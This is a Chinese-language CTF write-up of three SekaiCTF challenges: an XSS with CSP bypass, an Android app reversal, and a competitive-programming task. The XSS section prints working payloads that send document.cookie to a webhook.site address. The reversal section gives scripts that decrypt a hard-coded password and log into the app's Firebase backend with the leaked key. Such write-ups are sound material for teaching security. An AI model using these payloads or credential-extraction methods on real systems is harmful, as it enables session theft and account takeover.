Before all
整場solver都是我qwq
WEB
Tagless
Solver: Whale120
一道XSS的題目
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from flask import Flask, render_template, make_response,request from bot import * from urllib.parse import urlparse
app = Flask(__name__, static_folder='static')
@app.after_request def add_security_headers(resp): resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;" return resp
@app.route('/') def index(): return render_template('index.html')
@app.route("/report", methods=["POST"]) def report(): bot = Bot() url = request.form.get('url') if url: try: parsed_url = urlparse(url) except Exception: return {"error": "Invalid URL."}, 400 if parsed_url.scheme not in ["http", "https"]: return {"error": "Invalid scheme."}, 400 if parsed_url.hostname not in ["127.0.0.1", "localhost"]: return {"error": "Invalid host."}, 401 bot.visit(url) bot.close() return {"visited":url}, 200 else: return {"error":"URL parameter is missing!"}, 400 @app.errorhandler(404) def page_not_found(error): path = request.path return f"{path} not found"
if __name__ == '__main__': app.run(debug=True)
|
bot的部分就是再正常不過的Chrome無頭瀏覽器設定好cookie(flag)後造訪。
先來看csp:
1
| script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;
|
script-src
的部分設定了self,再仔細看看網站404的功能會發現他完整輸出了path,那不就跟利用jsonp bypass csp(link)的trick有異曲同工之妙,簡單舉個例子:
在這裡,我可以透過造訪http://127.0.0.1:5000/**/alert(1);//.js
獲得一段像這樣的內容:
這不就裸裸的js codeㄌ
引入js這塊算解決了…嗎?
答案是否定的,看看index.html和app.js
index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Tagless</title> <link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet"> <link rel="stylesheet" href="https://unpkg.com/nes.css@2.3.0/css/nes.css" /> <style> body, html { height: 100%; margin: 0; display: flex; justify-content: center; align-items: center; background-color: #212529; color: #fff; font-family: 'Press Start 2P', cursive; } .container { text-align: center; } .nes-field, .nes-btn { margin-top: 20px; } iframe { width: 100%; height: 300px; border: none; margin-top: 20px; color: #212529; background-color: #FFF; font-family: 'Press Start 2P', cursive; } .nes-container.is-dark.with-title { background-color: #212529; } </style> </head> <body>
<div class="container"> <section class="nes-container with-title is-centered is-dark"> <h2 class="title">Tagless Display</h2> <div class="nes-field is-inline"> <label for="userInput" class="nes-text is-primary">Your Message:</label> <input type="text" id="userInput" class="nes-input" placeholder="Hello, Retro World!"> </div> <button id="displayButton" type="button" class="nes-btn is-primary">Display</button> <div class="output"> <iframe id="displayFrame"></iframe> </div> </section> </div>
<script src="/static/app.js"></script>
</body> </html>
|
怎麼樣,看起來是不是會被塞進iframe,那iframe有個特性,就是所有被執行的javascript必須是被嵌入的網站本身有的,或者在iframe裡面有個 srcdoc
的選項,詳細資訊可以看這篇:huli大大的筆記
不過更重要的,先來看app.js!
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| document.addEventListener("DOMContentLoaded", function() {
var displayButton = document.getElementById("displayButton"); displayButton.addEventListener("click", function() { displayInput(); }); });
function sanitizeInput(str) { str = str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, ''); return str; }
function autoDisplay() { const urlParams = new URLSearchParams(window.location.search); const input = urlParams.get('auto_input'); displayInput(input); }
function displayInput(input) { const urlParams = new URLSearchParams(window.location.search); const fulldisplay = urlParams.get('fulldisplay');
var sanitizedInput = ""; if (input) { sanitizedInput = sanitizeInput(input); } else { var userInput = document.getElementById("userInput").value; sanitizedInput = sanitizeInput(userInput); } var iframe = document.getElementById("displayFrame"); var iframeContent = ` <!DOCTYPE html> <head> <title>Display</title> <link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet"> <style> body { font-family: 'Press Start 2P', cursive; color: #212529; padding: 10px; } </style> </head> <body> ${sanitizedInput} </body> `; iframe.contentWindow.document.open('text/html', 'replace'); iframe.contentWindow.document.write(iframeContent); iframe.contentWindow.document.close();
if (fulldisplay && sanitizedInput) { var tab = open("/") tab.document.write(iframe.contentWindow.document.documentElement.innerHTML); } } autoDisplay();
|
呵呵,有趣了,所有的html tag都會被過濾,不過其實在瀏覽器上可以使用<img src='meowmeow.jpg'
之類的方法插入一個html tag,但也只有一個可以插 :D
那不管,先來想想用現有的材料可以怎麼玩ㄅ
一開始的想法是利用 iframe 的 srcdoc inject 一段javascript程式碼就好,防止html標籤被過濾甚至可以用 src 再加上data:text/html;base64,
把他編碼,於是先嘗試這段payload:
1
| http://127.0.0.1:5000/?auto_input=%3Ciframe%20src=%22data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjE6NTAwMC8qKi9hbGVydCgxKTsvLy5qcyIvPg==%22
|
把<script src="http://127.0.0.1:5000/**/alert(1);//.js" ></script>
base64 encode,然後自己塞一個初始化就有js的frame就彈出來ㄌ,然而…有這麼容易嗎?
並沒有,再塞入像是 <script src="http://127.0.0.1:5000/**/location.href='https://webhook.site/d37cfcd6-38b3-4333-affe-c5ca094a0f5a/'+document.cookie;//.js" ></script>
這樣的payload試著偷cookie後就發現轉不出去,為什麼呢?
因為iframe內部的location並不是網站的location,導致他根本不能吃網站的location…
回去看一下404頁面,其實他能做的不只有任意的js,在瀏覽器裡面,他會根據前面的內容決定用什麼方法Render資訊(譬如說xml, html還是單純文字輸出),所以最後的做法就是把xss透過404 page inject進去,最後再去iframe他,規避掉<>過濾的方法可以用urlencode就好:
final payload:
1
| http://127.0.0.1:5000/?auto_input=%3Ciframe%20src%3D%22http%3A%2F%2F127.0.0.1%3A5000%2F%26lt%3Bscript%20src%3D%26quot%3Bhttp%3A%2F%2F127.0.0.1%3A5000%2F%2A%2A%2F%20location.href%3D%26%2339%3Bhttps%3A%2F%2Fwebhook.site%2Fd37cfcd6-38b3-4333-affe-c5ca094a0f5a%2Fa%26%2339%3B%2Bdocument.cookie%3B%2F%2F.js%26quot%3B%26gt%3B%26lt%3B%2Fscript%26gt%3B%22
|
然後再url encode一次(bot會把他先decode再送去瀏覽器)
欸…不是啊,所以前面iframe那麼多在幹嘛?
直接丟一個http://127.0.0.1:5000/<script src="http://127.0.0.1:5000/**/ fetch('https://webhook.site/d37cfcd6-38b3-4333-affe-c5ca094a0f5a/'+document.cookie);//.js"></script>
結束這回合不就得了…?
喔對,他沒給bot GUI介面,自己發CURL
好啦因為走遠路多學了好多東西,分享一下>W<
FLAG: SEKAI{w4rmUpwItHoUtTags}
Reverse
Crack Me
Solver: Whale120
先丟 decompile(link)
首先起手式逛了一下/sources/com/SekaiCTF/CrackMe
,沒有東西…
痾…直接裝起來看ㄅ:
Ok,登入頁面那邊有個是不是Admin的提示,grep一下Admin這個字串找檔案,發現 ./resources/assets/index.android.bundle
參考這篇(link)
拆開來翻找一下找到443.js
,看起來蠻有趣的。
觀察這一段程式碼:
上面這段也點了從哪裡抓flag
看起來邏輯長這樣:從477.js initial了app、也會從456.js抓key和iv出來做加密,所以把這些資訊摳出來:
477.js
1 2 3 4 5 6 7 8 9 10 11
| var c = { apiKey: 'AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk', authDomain: 'crackme-1b52a.firebaseapp.com', projectId: 'crackme-1b52a', storageBucket: 'crackme-1b52a.appspot.com', messagingSenderId: '544041293350', appId: '1:544041293350:web:2abc55a6bb408e4ff838e7', measurementId: 'G-RDD86JV32R', databaseURL: 'https://crackme-1b52a-default-rtdb.firebaseio.com', }; exports.default = c;
|
456.js
1 2 3 4 5 6 7 8 9 10 11
| var _ = { LOGIN: 'LOGIN', EMAIL_PLACEHOLDER: 'user@sekai.team', PASSWORD_PLACEHOLDER: 'password', BEGIN: 'CRACKME', SIGNUP: 'SIGN UP', LOGOUT: 'LOGOUT', KEY: 'react_native_expo_version_47.0.0', IV: '__sekaictf2023__', }; exports.default = _;
|
先從456.js的資訊還原密碼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import binascii
KEY = 'react_native_expo_version_47.0.0' IV = '__sekaictf2023__'
key_bytes = KEY.encode('utf-8') iv_bytes = IV.encode('utf-8')
ciphertext_hex = '03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524' ciphertext_bytes = binascii.unhexlify(ciphertext_hex) cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes) decrypted = unpad(cipher.decrypt(ciphertext_bytes), AES.block_size) decrypted_password = decrypted.decode('utf-8') print(decrypted_password)
|
解出來是s3cr3t_SEKAI_P@ss
拿到資訊之後上網看一下怎麼連,然後求助億下ChatGPT,最後寫出腳本撈flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import requests import json
api_key = "AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk" database_url = "https://crackme-1b52a-default-rtdb.firebaseio.com"
email = "admin@sekai.team" password = "s3cr3t_SEKAI_P@ss"
login_url = f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={api_key}" login_payload = { "email": email, "password": password, "returnSecureToken": True }
login_response = requests.post(login_url, data=json.dumps(login_payload), headers={"Content-Type": "application/json"}) login_response.raise_for_status()
id_token = login_response.json().get("idToken") if not id_token: raise Exception("Failed to get ID Token")
print("Login successful")
user_id = login_response.json().get("localId") flag_path = f"/users/{user_id}/flag"
data_url = f"{database_url}{flag_path}.json?auth={id_token}" response = requests.get(data_url) if response.status_code == 200: flag_data = response.json() print(f"Flag: {flag_data}") else: print(f"Error retrieving data: {response.status_code} {response.text}")
|
Flag: SEKAI{15_React_N@71v3_R3v3rs3_H@RD???}
PPC
WTF?
CTF比賽打競程,認真?
對 :D,主辦2022的時候的題目沒用到覺得很可惜 …
Miku vs. Machine
Solver: Whale120
題目敘述:
基本上我的做法就是直接構造l=n,然後for迴圈刷過去每場安排每個id的表演者都表演n單位時間直到他現在的總表演時間加起來已經夠了,那就切下一位表演者,簡單的乘除就可以知道這樣的構造一定會對。
solve.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| #include<bits/stdc++.h> using namespace std; void solve(){ int n, m, cur, amt; cin >> n >> m; amt=m; cur=1; cout << n << '\n'; for(int i=1;i<=m;i++){ if(amt >= n){ cout << n << ' ' << cur << ' ' << 0 << ' ' << cur << '\n'; amt-=n; } else{ cout << amt << ' ' << cur << ' ' << n-amt << ' ' << cur+1 << '\n'; cur++; amt=m-(n-amt); } } } int main(){ int t; cin >> t; while(t--){ solve(); } return 0; }
|
Flag: SEKAI{t1nyURL_th1s:_6d696b75766d}